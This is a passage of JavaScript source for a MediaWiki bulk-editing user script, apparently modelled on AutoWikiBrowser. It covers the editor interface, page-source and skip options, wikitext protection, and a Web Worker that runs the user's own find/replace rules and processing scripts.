var finalSum = base + (currentPageSummaryAppend || "");
var previewText = finalSum ? injectVars(finalSum) : '';
$('#wa-summary-preview').val(previewText);
}
function injectVars(text) {
if (!text) return "";
return text.replace(/\$x([A-Z]|x)/g, function(match) {
return currentVars[match] || match; // Swap it, or leave it alone if undefined
});
}
function resetViewScroll() {
return {diffTop: 0, diffIsBottom: false, previewTop: 0, previewIsBottom: false, page: '', mode: '' };
}
function captureViewScroll() {
var $container = $('#wa-visual-output');
var mode = viewScroll.mode;
if (!$container.length || !mode) return;
var scrollTop = $container.scrollTop();
var innerHeight = $container.innerHeight();
var scrollHeight = $container[0].scrollHeight;
var hasScrollbar = scrollHeight > (innerHeight + 4);
if (hasScrollbar) {
viewScroll[mode + 'Top'] = scrollTop;
viewScroll[mode + 'IsBottom'] = (scrollTop + innerHeight >= scrollHeight - 10);
}
}
function restoreViewScroll(targetPage, targetMode) {
var $container = $('#wa-visual-output');
if (!$container.length) return;
if (viewScroll.page !== '' && viewScroll.page !== targetPage) {
viewScroll.diffTop = 0;
viewScroll.previewTop = 0;
}
var isBottom = viewScroll[targetMode + 'IsBottom'];
var top = viewScroll[targetMode + 'Top'];
if (isBottom) {
$container.scrollTop($container[0].scrollHeight);
setTimeout(function() {
$container.scrollTop($container[0].scrollHeight);
}, 150);
} else {
$container.scrollTop(top);
}
viewScroll.page = targetPage;
viewScroll.mode = targetMode;
}
// =====================================================================
// 4. UI CONSTRUCTION
// =====================================================================
checkPermissions().then(function(pState) {
PERMS = pState;
var $main = $('<div>').attr('id', 'wa-root').appendTo('body');
var $left = $('<div>').attr('id', 'wa-left-panel').appendTo($main);
$left.append($('<h3>').append($('<a>').attr('href', DOC_URL).attr('target', '_blank').text(APP_NAME).css({
'text-decoration': 'none',
'color': 'inherit'
})));
$left.append($('<div>').attr('id', 'wa-username').append($('<a>').attr('href', mw.util.getUrl('Special:Contributions/' + mw.config.get('wgUserName'))).attr('target', '_blank').text('User: ' + mw.config.get('wgUserName')).css({
'text-decoration': 'none',
'color': 'inherit'
})));
var btnSaveProj = new OO.ui.ButtonWidget({
icon: 'download',
label: 'Save project',
framed: false,
flags: 'progressive'
});
var btnLoadProj = new OO.ui.ButtonWidget({
icon: 'upload',
label: 'Load project',
framed: false
});
var $projBar = $('<div>').addClass('wa-project-bar').append(btnSaveProj.$element, btnLoadProj.$element);
$left.append($projBar);
var $fileInput = $('<input type="file" accept=".json">').hide().appendTo('body');
var $content = $('<div>').attr('id', 'wa-content-area').appendTo($left);
var $right = $('<div>').attr('id', 'wa-right-panel').appendTo($main);
var $editorHeader = $('<div>').addClass('wa-editor-header').appendTo($right);
var $headerLeft = $('<div>').addClass('wa-header-left').appendTo($editorHeader);
var $statusIndicator = $('<span>').attr('id', 'wa-status-indicator').attr('title', 'Ready').appendTo($headerLeft);
var $titleLink = $('<a>').addClass('wa-title-link').text('Page content').attr('target', '_blank').appendTo($headerLeft);
$('<span>').addClass('wa-header-sep').appendTo($headerLeft);
var $summaryPreview = $('<input type="text">').attr('id', 'wa-summary-preview').attr('autocomplete', 'off').appendTo($headerLeft);
var $headerRight = $('<div>').addClass('wa-header-right').appendTo($editorHeader);
var $infoContainer = $('<span>').addClass('wa-info-container').appendTo($headerRight);
var $toolsContainer = $('<div>').addClass('wa-tools-container').appendTo($headerRight);
var $resizeContainer = $('<div>').addClass('wa-resize-container').appendTo($headerRight);
var $adminTools = $('<div>').addClass('wa-admin-tools').hide().appendTo($toolsContainer);
// Wide chevron SVGs
var svgUp = '<svg xmlns="http://www.w3.org/2000/svg" width="14" height="8" viewBox="0 0 24 12"><path d="M2 10 L12 2 L22 10" fill="none" stroke="currentColor" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"/></svg>';
var svgDown = '<svg xmlns="http://www.w3.org/2000/svg" width="14" height="8" viewBox="0 0 24 12"><path d="M2 2 L12 10 L22 2" fill="none" stroke="currentColor" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"/></svg>';
var $btnSizeUp = $('<div>').addClass('wa-resize-btn').html(svgUp).attr('title', 'Decrease view size');
var $btnSizeDown = $('<div>').addClass('wa-resize-btn').html(svgDown).attr('title', 'Increase view size');
$resizeContainer.append($btnSizeUp, $btnSizeDown);
function setPanelHeight(modeIndex) {
currentHeightMode = modeIndex;
if (currentHeightMode < 0) currentHeightMode = 0;
if (currentHeightMode > 2) currentHeightMode = 2;
$('#wa-visual-output').css('flex-basis', heightValues[currentHeightMode]);
$btnSizeUp.toggleClass('wa-resize-disabled', currentHeightMode === 0);
$btnSizeDown.toggleClass('wa-resize-disabled', currentHeightMode === 2);
}
$btnSizeUp.on('click', function() {
if (!$(this).hasClass('wa-resize-disabled')) setPanelHeight(currentHeightMode - 1);
});
$btnSizeDown.on('click', function() {
if (!$(this).hasClass('wa-resize-disabled')) setPanelHeight(currentHeightMode + 1);
});
setPanelHeight(1);
if (CAN_MOVE) {
var btnAdminMove = new OO.ui.ButtonWidget({
icon: 'move',
title: 'Move page to $xA',
disabled: true,
framed: false
});
$adminTools.append(btnAdminMove.$element).show();
}
if (IS_ADMIN) {
var btnAdminDel = new OO.ui.ButtonWidget({
icon: 'trash',
title: 'Delete page',
disabled: true,
framed: false
});
var btnAdminProt = new OO.ui.ButtonWidget({
icon: 'lock',
title: 'Protect page',
disabled: true,
framed: false
});
$adminTools.append(btnAdminDel.$element, btnAdminProt.$element).show();
}
var btnManualEdit = new OO.ui.ButtonWidget({
icon: 'edit',
title: 'Open in manual editor',
framed: false,
disabled: true
});
var btnWatch = new OO.ui.ButtonWidget({
icon: 'star',
title: 'Watch this page',
framed: false,
disabled: true,
accessKey: 'w'
});
$toolsContainer.append(btnManualEdit.$element, btnWatch.$element);
var $visualOut = $('<div>').attr('id', 'wa-visual-output').html('<div style="color:#aaa; text-align:center; margin-top:50px;">Ready to start...</div>').prependTo($right);
var $editorArea = $('<div>').attr('id', 'wa-editor-area').appendTo($right);
var $textArea = $('<textarea>').attr('id', 'wa-editor-textarea').attr('placeholder', 'Page text will appear here...').appendTo($editorArea);
function setStatus(msg, type) {
if (!msg) msg = "Ready";
$statusIndicator.attr('title', msg).removeClass('wa-status-error wa-status-working');
if (type === 'error') $statusIndicator.addClass('wa-status-error');
if (type === 'working') $statusIndicator.addClass('wa-status-working');
}
// EDITOR OBJECT
var Editor = {
mode: 'textarea',
cmInstance: null,
_stickyBottom: false,
init: function() {
var self = this;
mw.loader.using(['ext.CodeMirror', 'ext.CodeMirror.mode.mediawiki']).then(function(require) {
try {
self.cmInstance = new(require('ext.CodeMirror'))($textArea[0], (require('ext.CodeMirror.mode.mediawiki')).mediawiki());
self.cmInstance.initialize();
self.mode = 'codemirror';
} catch (e) {
console.error("CM Error", e);
}
}).catch(function(err) {
console.error("CM Load Error:", err);
});
$textArea.on('input', updateDirtyState);
},
getValue: function() {
return (this.mode === 'codemirror' && this.cmInstance) ? this.cmInstance.view.state.doc.toString() : $textArea.val();
},
setValue: function(text) {
if (this.mode === 'codemirror' && this.cmInstance) {
var view = this.cmInstance.view;
var dom = view.scrollDOM; //$("#wa-editor-area").find('.cm-scroller')[0]
// Capture scroll
if (dom) {
var hasScrollbar = dom.scrollHeight > (dom.clientHeight + 10);
if (hasScrollbar) {
this._stickyBottom = (dom.scrollTop + dom.clientHeight >= dom.scrollHeight - 10);
}
}
// Update native area
$textArea.val(text);
// Bundle the codemirror transaction
var transaction = {
changes: {
from: 0,
to: view.state.doc.length,
insert: text
}
};
// If sticky bottom is true, add your scrolling effect to the transaction!
if (this._stickyBottom) {
// We use text.length because that is the very end of the NEW document
transaction.effects = view.constructor.scrollIntoView(text.length, {
y: 'end'
});
}
// Dispatch both at once
view.dispatch(transaction);
} else {
$textArea.val(text);
$textArea[0].dispatchEvent(new Event('input'));
}
},
setDisabled: function(d) {
$textArea.prop('disabled', d);
if (this.mode === 'codemirror' && this.cmInstance) {
this.cmInstance.view.contentDOM.contentEditable = !d;
$($textArea).parent().find('.cm-editor').css('opacity', d ? 0.5 : 1);
}
},
scrollToLine: function(n, selectWholeLine) {
if (isNaN(n)) return;
if (this.mode === 'codemirror' && this.cmInstance) {
var v = this.cmInstance.view;
var l = v.state.doc.line(n);
// Base selection: drop the cursor at the start of the line
var sel = { anchor: l.from };
// If they asked to select the text, extend the selection to the end
if (selectWholeLine) {
sel.head = l.to;
}
v.dispatch({
effects: v.constructor.scrollIntoView(l.from, {
y: 'center'
}),
selection: sel
});
v.focus();
}
}
};
var WorkerEngine = {
activeWorker: null,
workerURL: null,
currentLibCode: null,
timeoutTimer: null,
initWorker: function(libCode) {
this.destroy(); // Clean up existing if any
this.currentLibCode = libCode || "";
var scriptContent = this.currentLibCode + "\n\n" + `
self.onmessage = async function(e) {
try {
var data = e.data;
var inputs = data.texts || [data.text];
var vars = data.vars;
var outputs = [];
// Helper to construct async functions dynamically
var AsyncFunction = Object.getPrototypeOf(async function(){}).constructor;
function inject(str) {
if (!str) return "";
return str.replace(/\\$x([A-Z]|x)/g, function(m) { return vars[m] || ""; });
}
// Returns a Promise and handles 'await' inside user code
async function execUserFunc(code, currentText, currentVars, sharedObj) {
if (!code || code.trim() === "") return currentText;
try {
var func = new AsyncFunction('text', 'vars', 'shared', code);
var res = await func(currentText, currentVars, sharedObj);
if (res && typeof res === 'object' && res.skip) {
return { _skipSignal: true, reason: res.reason || 'Script-requested skip' };
}
return (res !== undefined) ? res : currentText;
} catch (err) {
throw err; // or: return currentText
}
}
var shared = {}; // Shared context for this page
for (var i = 0; i < inputs.length; i++) {
var text = inputs[i];
// 1. Pre-Process
var preRes;
if (data.preCode && data.preCode.trim() !== "") {
preRes = await execUserFunc(data.preCode, text, vars, shared);
} else if (typeof wAwB_Pre === 'function') {
try {
preRes = await wAwB_Pre(text, vars, shared);
if (preRes && typeof preRes === 'object' && preRes.skip) {
preRes = { _skipSignal: true, reason: preRes.reason || 'Script-requested skip' };
}
} catch (err) { preRes = text; }
} else {
preRes = text;
}
if (preRes && preRes._skipSignal) {
self.postMessage({ skipped: true, reason: preRes.reason });
return;
}
text = (preRes !== undefined) ? preRes : text;
// 2. Rules Processing
if (data.rules && data.rules.length > 0) {
data.rules.forEach(function(rule) {
var findStr = inject(rule.find);
if (!findStr) return;
if (rule.isFunc) {
try {
var userFunc = new Function('match', 'groups', 'vars', 'shared', rule.replace);
text = text.replace(new RegExp(findStr, (rule.flags || 'gmu').replace(/[^gimsuvy]/g, '')), function(...args) {
var match = args[0];
var groups = args.slice(1, -2);
try {
var res = userFunc(match, groups, vars, shared);
return res !== undefined ? res : match;
} catch (err) { return match; }
});
} catch (e) {}
} else {
var repStr = inject(rule.replace).replace(/\\\\n/g, "\\n").replace(/\\\\t/g, "\\t").replace(/\\\\r/g, "\\r");
if (rule.regex) {
try {
var flags = (rule.flags || 'gmu').replace(/[^gimsuvy]/g, '');
text = text.replace(new RegExp(findStr, flags), repStr);
} catch (e) {}
} else {
var finalFind = findStr.replace(/\\\\n/g, "\\n").replace(/\\\\t/g, "\\t").replace(/\\\\r/g, "\\r");
text = text.split(finalFind).join(repStr);
}
}
});
}
// 3. Post-Process
var postRes;
if (data.postCode && data.postCode.trim() !== "") {
postRes = await execUserFunc(data.postCode, text, vars, shared);
} else if (typeof wAwB_Post === 'function') {
try {
postRes = await wAwB_Post(text, vars, shared);
if (postRes && typeof postRes === 'object' && postRes.skip) {
postRes = { _skipSignal: true, reason: postRes.reason || 'Script-requested skip' };
}
} catch (err) { postRes = text; }
} else {
postRes = text;
}
if (postRes && postRes._skipSignal) {
self.postMessage({ skipped: true, reason: postRes.reason });
return;
}
text = (postRes !== undefined) ? postRes : text;
outputs.push(text);
}
self.postMessage({ success: true, texts: outputs, summaryAppend: shared.summaryAppend, summaryOverride: shared.summaryOverride });
} catch (err) { self.postMessage({ success: false, error: err.toString() }); }
};
`;
var blob = new Blob([scriptContent], {
type: 'application/javascript'
});
this.workerURL = URL.createObjectURL(blob);
this.activeWorker = new Worker(this.workerURL);
},
run: function(payload) {
var self = this;
return new Promise(function(resolve, reject) {
// Re-init if no worker exists, or if the user changed the library code
if (!self.activeWorker || self.currentLibCode !== (payload.libraryCode || "")) {
self.initWorker(payload.libraryCode);
}
if (self.timeoutTimer) clearTimeout(self.timeoutTimer);
self.timeoutTimer = setTimeout(function() {
self.destroy(); // Assassinate the stuck worker
reject("Script timed out (" + SCRIPT_TIMEOUT_MS + "ms).");
}, SCRIPT_TIMEOUT_MS);
self.activeWorker.onmessage = function(e) {
clearTimeout(self.timeoutTimer);
if (e.data.skipped) resolve({
skipped: true,
reason: e.data.reason
});
else if (e.data.success) resolve({
success: true,
texts: e.data.texts,
summaryAppend: e.data.summaryAppend,
summaryOverride: e.data.summaryOverride
});
else reject(e.data.error);
};
self.activeWorker.postMessage(payload);
});
},
destroy: function() {
if (this.activeWorker) {
this.activeWorker.terminate();
this.activeWorker = null;
}
if (this.workerURL) {
URL.revokeObjectURL(this.workerURL);
this.workerURL = null;
}
if (this.timeoutTimer) {
clearTimeout(this.timeoutTimer);
this.timeoutTimer = null;
}
}
};
var PageProtector = {
store: [],
getKey: function() {
var id = this.store.length.toString();
var p = "";
for (var i = 0; i < id.length; i++) {
p += String.fromCharCode(0xE010 + parseInt(id[i]));
}
return '\uE000' + p + '\uE001';
},
protect: function(text, mode, config, templateSpecies = null) {
this.store = [];
var self = this;
var safeRep = function(t, r) {
return t.replace(r, function(m) {
if (!m) return m;
var key = self.getKey();
self.store.push(m);
return key;
});
};
var shouldProcess = function(id) {
if (mode === 'target') return config === id;
return config[id] === true;
};
var matchedBrackets = function(text, op, cl, species = '') {
var newText = "",
depth = 0,
start = 0,
cursor = 0;
var speciesRegex = species ? new RegExp(species, 'iu') : null;
for (var i = 0; i < text.length; i++) {
if (text[i] === op[0] && text.slice(i, i + op.length) === op) {
if (depth === 0) start = i;
depth++;
i += op.length - 1;
} else if (text[i] === cl[0] && text.slice(i, i + cl.length) === cl) {
if (depth > 0) {
depth--;
if (depth === 0) {
var chunk = text.substring(start, i + cl.length);
if (!speciesRegex || speciesRegex.test(chunk)) {
var key = self.getKey();
self.store.push(chunk);
newText += text.substring(cursor, start) + key;
} else {
newText += text.substring(cursor, i + cl.length);
}
cursor = i + cl.length;
}
i += cl.length - 1;
}
}
}
newText += text.substring(cursor);
return newText;
};
PROTECTION_DEFS.forEach(function(def) {
if (shouldProcess(def.id)) {
if (def.id === 'blocks') {
['math', 'pre', 'source', 'syntaxhighlight', 'code', 'gallery'].forEach(t => text = safeRep(text, new RegExp('<' + t + '[^>]*?>[\\s\\S]*?<\\/' + t + '>|<' + t + '[^>]*?/>', 'gi')));
} else if (['templates', 'tables', 'images'].includes(def.id)) {
var activeSpecies = (def.id === 'templates') ? templateSpecies : def.species;
text = matchedBrackets(text, def.open, def.close, activeSpecies || '');
} else if (def.regex) {
text = safeRep(text, def.regex);
}
}
});
return text;
},
restore: function(text) {
var self = this;
var loop = 100;
while (/(\uE000[\uE010-\uE019]+\uE001)/.test(text) && loop > 0) {
text = text.replace(/\uE000([\uE010-\uE019]+)\uE001/g, function(m, d) {
var id = "";
for (var i = 0; i < d.length; i++) id += (d.charCodeAt(i) - 0xE010).toString();
return self.store[parseInt(id, 10)] || m;
});
loop--;
}
return text;
}
};
var accordionRegistry = [];
function addSection(title, $inner) {
var btn = new OO.ui.ButtonWidget({
label: title,
indicator: 'down',
framed: false,
classes: ['wa-section-header']
});
var box = $('<div>').addClass('wa-foldable-content').append($inner);
var sectionObj = {
btn: btn,
box: box,
label: title
};
accordionRegistry.push(sectionObj);
btn.on('click', function() {
var isOpening = !box.is(':visible');
if (isOpening) {
accordionRegistry.forEach(function(sec) {
if (sec !== sectionObj) {
sec.box.hide();
sec.btn.setIndicator('down');
}
});
}
box.toggle();
btn.setIndicator(box.is(':visible') ? 'up' : 'down');
});
$content.append(btn.$element, box);
return sectionObj;
}
// WIDGETS
var srcSelect = new OO.ui.DropdownInputWidget({
options: [{
data: 'cat',
label: 'Category'
}, {
data: 'linksto',
label: 'Pages linking to...'
}, {
data: 'linkson',
label: 'Links on page...'
}, {
data: 'prefix',
label: 'Pages with prefix...'
}, {
data: 'watchlist',
label: 'Watchlist'
}, {
data: 'search',
label: 'Wiki search'
}, {
data: 'usercontribs',
label: 'User contributions'
}, {
data: 'pageswithprop',
label: 'Pages with property'
}]
});
var srcInput = new OO.ui.TextInputWidget({
placeholder: 'Category...'
});
var now = new Date();
var today = now.toISOString().split('T')[0];
var srcInputUser = new OO.ui.TextInputWidget({
placeholder: 'Username'
});
var srcInputStartDate = new OO.ui.TextInputWidget({
value: today + 'T00:00:00',
placeholder: 'ISO start date'
});
var srcInputEndDate = new OO.ui.TextInputWidget({
value: today + 'T23:59:59',
placeholder: 'ISO end date'
});
var srcDropProp = new OO.ui.DropdownInputWidget({
options: []
});
var $optContainer = $('<div>').addClass('wa-source-options').hide();
var $optCat = $('<div>').hide();
var $optUser = $('<div>').hide();
var $optProp = $('<div>').hide();
var chkCatPages = new OO.ui.CheckboxInputWidget({
selected: true
});
var chkCatSub = new OO.ui.CheckboxInputWidget({
selected: false
});
var chkCatFile = new OO.ui.CheckboxInputWidget({
selected: false
});
$optCat.append($('<div>').addClass('wa-opt-label').text('Include:'), new OO.ui.FieldLayout(chkCatPages, {
label: 'Pages',
align: 'inline'
}).$element, new OO.ui.FieldLayout(chkCatSub, {
label: 'Subcats',
align: 'inline'
}).$element, new OO.ui.FieldLayout(chkCatFile, {
label: 'Files',
align: 'inline'
}).$element);
$optUser.append(new OO.ui.FieldLayout(srcInputUser, {
label: 'User',
align: 'top'
}).$element, new OO.ui.FieldLayout(srcInputStartDate, {
label: 'Start (Older)',
align: 'top'
}).$element, new OO.ui.FieldLayout(srcInputEndDate, {
label: 'End (Newer)',
align: 'top'
}).$element);
$optProp.append(new OO.ui.FieldLayout(srcDropProp, {
label: 'Property',
align: 'top'
}).$element);
var $optLinks = $('<div>').hide();
var chkLinkWiki = new OO.ui.CheckboxInputWidget({
selected: true
});
var chkLinkTrans = new OO.ui.CheckboxInputWidget({
selected: false
});
var chkLinkImg = new OO.ui.CheckboxInputWidget({
selected: false
});
var dropLinkRedir = new OO.ui.DropdownInputWidget({
options: [{
data: 'nonredirects',
label: 'No redirects'
}, {
data: 'all',
label: 'Both'
}, {
data: 'redirects',
label: 'Redirects only'
}]
});
var chkLinkToRedir = new OO.ui.CheckboxInputWidget({
selected: false
});
$optLinks.append($('<div>').addClass('wa-opt-label').text('What to include:'), $('<div>').addClass('wa-opt-row').append(new OO.ui.FieldLayout(chkLinkWiki, {
label: 'Wikilinks',
align: 'inline'
}).$element, new OO.ui.FieldLayout(chkLinkTrans, {
label: 'Transclusions',
align: 'inline'
}).$element, new OO.ui.FieldLayout(chkLinkImg, {
label: 'File usage',
align: 'inline'
}).$element), $('<div>').addClass('wa-opt-label').text('Redirects:'), dropLinkRedir.$element, new OO.ui.FieldLayout(chkLinkToRedir, {
label: 'Include links to redirects',
align: 'inline'
}).$element);
$optContainer.append($optCat, $optLinks, $optUser, $optProp);
var queryCache = {};
var lastMode = 'cat';
srcSelect.on('change', function(newMode) {
if (!isLoadingProject) {
if (lastMode !== 'watchlist' && lastMode !== 'usercontribs' && lastMode !== 'pageswithprop') {
queryCache[lastMode] = srcInput.getValue();
}
}
$optContainer.hide();
$optCat.hide();
$optLinks.hide();
$optUser.hide();
$optProp.hide();
srcInput.setDisabled(false).$element.show();
if (newMode === 'cat') {
$optContainer.show();
$optCat.show();
} else if (newMode === 'linksto') {
$optContainer.show();
$optLinks.show();
} else if (newMode === 'usercontribs') {
$optContainer.show();
$optUser.show();
srcInput.setDisabled(true).$element.hide();
} else if (newMode === 'pageswithprop') {
$optContainer.show();
$optProp.show();
srcInput.setDisabled(true).$element.hide();
if (!propNamesLoaded) {
new mw.Api().get({
action: 'query',
list: 'pagepropnames',
ppnlimit: 'max'
}).then(function(d) {
if (d.query && d.query.pagepropnames) {
srcDropProp.setOptions(d.query.pagepropnames.map(p => ({
data: p.propname,
label: p.propname
})));
propNamesLoaded = true;
}
});
}
}
if (newMode === 'watchlist') {
srcInput.setValue('');
srcInput.setDisabled(true);
srcInput.$input.attr('placeholder', '(No query needed)');
} else if (newMode !== 'usercontribs' && newMode !== 'pageswithprop') {
srcInput.setValue(queryCache[newMode] || '');
var ph = 'Query...';
if (newMode === 'cat') ph = 'Category name';
if (newMode === 'search') ph = 'Search query...';
if (newMode === 'prefix') ph = 'Page prefix...';
if (newMode === 'linksto') ph = 'Pages linking to this title...';
if (newMode === 'linkson') ph = 'Get links from this page...';
srcInput.$input.attr('placeholder', ph);
}
lastMode = newMode;
});
srcSelect.emit('change', srcSelect.getValue());
var $nsSelect = $('<select>').attr('id', 'wa-ns-selector').attr('multiple', 'multiple').attr('size', '8');
var nsMap = mw.config.get('wgFormattedNamespaces');
for (var id in nsMap) {
if (parseInt(id) >= 0) $nsSelect.append($('<option>').val(id).text(id + ': ' + (nsMap[id] || '(Main)')));
}
$nsSelect.val(['0']);
var btnAdd = new OO.ui.ButtonWidget({
label: 'Add to list',
icon: 'add',
flags: ['primary', 'progressive']
});
var $btnRow = $('<div>').css({
'display': 'flex',
'justify-content': 'flex-end',
'margin-top': '10px'
});
var $fetchStatus = $('<span>').css({
'margin-right': '10px',
'color': '#888',
'font-size': '0.9em',
'align-self': 'center'
}).hide();
$btnRow.append($fetchStatus, btnAdd.$element);
addSection('Source', $('<div>').append(new OO.ui.FieldLayout(srcSelect, {
label: 'Mode',
align: 'top'
}).$element, new OO.ui.FieldLayout(srcInput, {
label: 'Query',
align: 'top'
}).$element, $optContainer, $('<div>').text('Namespaces:').css({
'font-weight': 'bold',
'margin-top': '5px'
}), $nsSelect, $btnRow));
var redirMode = new OO.ui.RadioSelectWidget({
items: [new OO.ui.RadioOptionWidget({
data: 'edit',
label: 'Edit the redirect page (Default)'
}), new OO.ui.RadioOptionWidget({
data: 'follow',
label: 'Follow redirect (Edit target)'
}), new OO.ui.RadioOptionWidget({
data: 'skip',
label: 'Skip redirects'
})]
});
redirMode.selectItemByData('edit');
var radSkipExist = new OO.ui.RadioSelectWidget({
items: [new OO.ui.RadioOptionWidget({
data: 'none',
label: 'Process all'
}), new OO.ui.RadioOptionWidget({
data: 'missing',
label: 'Skip if page does not exist'
}), new OO.ui.RadioOptionWidget({
data: 'exists',
label: 'Skip if page exists'
})]
});
radSkipExist.selectItemByData('none');
var chkSkipNoChange = new OO.ui.CheckboxInputWidget({
selected: false
});
var inpSkipContains = new OO.ui.TextInputWidget({
placeholder: 'Text/Regex for Skip if FOUND'
});
var togSkipContainsRegex = new OO.ui.ToggleSwitchWidget({
value: false,
title: 'Use regex'
});
var inpSkipNotContains = new OO.ui.TextInputWidget({
placeholder: 'Text/Regex for Skip if MISSING'
});
var togSkipNotContainsRegex = new OO.ui.ToggleSwitchWidget({
value: false,
title: 'Use regex'
});
var inpSkipCategories = new OO.ui.TextInputWidget({
placeholder: 'Skip if in: Category1|Category2'
});
var inpSkipNotCategories = new OO.ui.TextInputWidget({
placeholder: 'Skip if NOT in: Category1|Category2'
});
var $settingsPanel = $('<div>')
.append($('<span>').addClass('wa-settings-header').text('Redirects'))
.append(redirMode.$element)
.append($('<hr>').css('border-top', '1px solid #eee'))
.append($('<span>').addClass('wa-settings-header').text('Skip logic'))
.append(new OO.ui.FieldLayout(chkSkipNoChange, {
label: 'Skip if no changes made',
align: 'inline'
}).$element.css('margin-bottom', '8px'))
.append(radSkipExist.$element)
.append($('<hr>').css('border-top', '1px solid #eee'))
.append($('<span>').addClass('wa-settings-header').text('Content filters'))
.append($('<div>').addClass('wa-setting-row').append(inpSkipContains.$element.css('flex', 1), togSkipContainsRegex.$element.css('margin-left', '5px')))
.append($('<div>').addClass('wa-setting-row').append(inpSkipNotContains.$element.css('flex', 1), togSkipNotContainsRegex.$element.css('margin-left', '5px')))
.append($('<hr>').css('border-top', '1px solid #eee'))
.append($('<span>').addClass('wa-settings-header').text('Category filters'))
.append(new OO.ui.FieldLayout(inpSkipCategories, {
label: 'Blacklist',
align: 'top'
}).$element)
.append(new OO.ui.FieldLayout(inpSkipNotCategories, {
label: 'Whitelist',
align: 'top'
}).$element);
addSection('Skip', $settingsPanel);
var dropProtMode = new OO.ui.DropdownInputWidget({
options: [{
data: 'protect',
label: 'Protect (Exclude)'
}, {
data: 'target',
label: 'Target (Edit Matches Only)'
}]
});
var inpTemplateFilter = new OO.ui.TextInputWidget({
placeholder: 'Regex: infobox rail line|railway'
});
var $templateFilterLayout = new OO.ui.FieldLayout(inpTemplateFilter, {
label: 'Template filter',
align: 'top'
});
var $protList = $('<div>');
var protCheckboxes = {};
PROTECTION_DEFS.forEach(function(def) {
var chk = new OO.ui.CheckboxInputWidget({
selected: def.isOn
});
protCheckboxes[def.id] = chk;
$protList.append(new OO.ui.FieldLayout(chk, {
label: def.label,
align: 'inline'
}).$element);
});
var targetRadioItems = PROTECTION_DEFS.map(function(def) {
return new OO.ui.RadioOptionWidget({
data: def.id,
label: def.label
});
});
var radTargetSet = new OO.ui.RadioSelectWidget({
items: targetRadioItems
});
var $targetList = $('<div>').hide().append(radTargetSet.$element);
dropProtMode.on('change', function(mode) {
if (mode === 'protect') {
$protList.show();
$targetList.hide();
} else {
$protList.hide();
$targetList.show();
}
});
addSection('Protection', $('<div>').addClass('wa-source-options')
.append(new OO.ui.FieldLayout(dropProtMode, {
label: 'Mode',
align: 'top'
}).$element)
.append($('<hr>').css('border-top', '1px solid #eee'))
.append($protList).append($targetList)
.append($('<div style="margin-top:10px;">').append($templateFilterLayout.$element))
);
var $rulesList = $('<div>');
var btnAddRule = new OO.ui.ButtonWidget({
label: 'Add rule',
icon: 'add'
});
var rulesRegistry = [];
addSection('Rules', $('<div>').append($rulesList, btnAddRule.$element));
var togWikiTypos = new OO.ui.ToggleSwitchWidget({
value: false
});
var lblWikiStatus = $('<div>').css({
'font-size': '0.9em',
'color': '#888',
'margin-top': '2px'
});
var btnLoadLocal = new OO.ui.ButtonWidget({
icon: 'upload',
label: 'Load file',
framed: false
});
var btnClearLocal = new OO.ui.ButtonWidget({
icon: 'trash',
title: 'Clear local',
framed: false,
flags: 'destructive',
disabled: true
});
var lblLocalStatus = $('<div>').text('No local rules').css({
'font-size': '0.9em',
'color': '#888',
'margin-top': '2px'
});
var $typoInput = $('<input type="file">').hide().appendTo('body');
var $extRulesPanel = $('<div>').addClass('wa-source-options');
$extRulesPanel.append(
$('<div>').css({
'display': 'flex',
'align-items': 'center',
'justify-content': 'space-between'
}).append($('<span>').text('Project:AutoWikiBrowser/Typos').css('font-weight', 'bold'), togWikiTypos.$element),
$('<div>').css('margin-bottom', '10px').append(lblWikiStatus),
$('<hr>').css('border-top', '1px solid #eee'),
$('<div>').append($('<div>').css({
'display': 'flex',
'align-items': 'center'
}).append($('<span>').text('Local rules (session only)').css({
'font-weight': 'bold'
}), $('<div>').css('flex', '1'), btnLoadLocal.$element, btnClearLocal.$element), lblLocalStatus)
);
addSection('External rules', $extRulesPanel);
var txtPreScript = new OO.ui.MultilineTextInputWidget({
rows: 6,
value: '',
placeholder: '// Enter JavaScript function body here.\n// Available variables: text, vars, shared\nreturn text;'
});
var txtPostScript = new OO.ui.MultilineTextInputWidget({
rows: 6,
value: '',
placeholder: '// Enter JavaScript function body here.\n// Available variables: text, vars, shared\nreturn text;'
});
var btnLoadLib = new OO.ui.ButtonWidget({
icon: 'upload',
title: 'Load library (.js)',
framed: false
});
var btnRemoveLib = new OO.ui.ButtonWidget({
icon: 'trash',
title: 'Remove library',
framed: false,
flags: 'destructive'
});
var txtLibStatus = new OO.ui.TextInputWidget({
value: '(No library loaded)',
readOnly: true
});
var $libInput = $('<input type="file" accept=".js">').hide().appendTo('body');
var btnEditLib = new OO.ui.ButtonWidget({
icon: 'edit',
label: 'Edit project library',
framed: false
});
var $scriptPanel = $('<div>').append(
$('<div>').css({
'display': 'flex',
'align-items': 'center',
'gap': '5px',
'margin-bottom': '10px'
}).append($('<span>').text('JS library:').css({
'font-weight': 'bold',
'white-space': 'nowrap'
}), txtLibStatus.$element.css('flex', '1'), btnLoadLib.$element, btnRemoveLib.$element),
$('<div>').css({
'display': 'flex',
'justify-content': 'flex-end',
'margin-bottom': '10px'
}).append(btnEditLib.$element),
new OO.ui.FieldLayout(txtPreScript, {
label: 'Pre-Process',
align: 'top'
}).$element,
new OO.ui.FieldLayout(txtPostScript, {
label: 'Post-Process',
align: 'top'
}).$element
);
addSection('Scripts', $scriptPanel);
function updateLibUI() {
if (currentLibrary.code) {
txtLibStatus.setValue(currentLibrary.name);
btnRemoveLib.setDisabled(false);
} else {
txtLibStatus.setValue('(No library loaded)');
btnRemoveLib.setDisabled(true);
}
}
updateLibUI();
function LibraryEditorDialog(config) {
LibraryEditorDialog.super.call(this, config);
}
OO.inheritClass(LibraryEditorDialog, OO.ui.ProcessDialog);
LibraryEditorDialog.static.name = 'libraryEditor';
LibraryEditorDialog.static.title = 'Edit project library';
LibraryEditorDialog.static.actions = [{
action: 'save',
label: 'Save',
flags: ['primary', 'progressive']
},
{
label: 'Cancel',
flags: 'safe'
}
];
LibraryEditorDialog.prototype.initialize = function() {
LibraryEditorDialog.super.prototype.initialize.call(this);
this.$element.addClass('wa-lib-dialog'); // Attach our custom CSS override class
this.panel = new OO.ui.PanelLayout({
padded: true,
expanded: true
});
this.$editorWrapper = $('<div>').addClass('wa-lib-editorwrapper');
this.panel.$element.append(this.$editorWrapper);
this.$body.append(this.panel.$element);
};
LibraryEditorDialog.prototype.getSetupProcess = function(data) {
data = data || {};
return LibraryEditorDialog.super.prototype.getSetupProcess.call(this, data)
.next(function() {
var self = this;
self.$editorWrapper.empty();
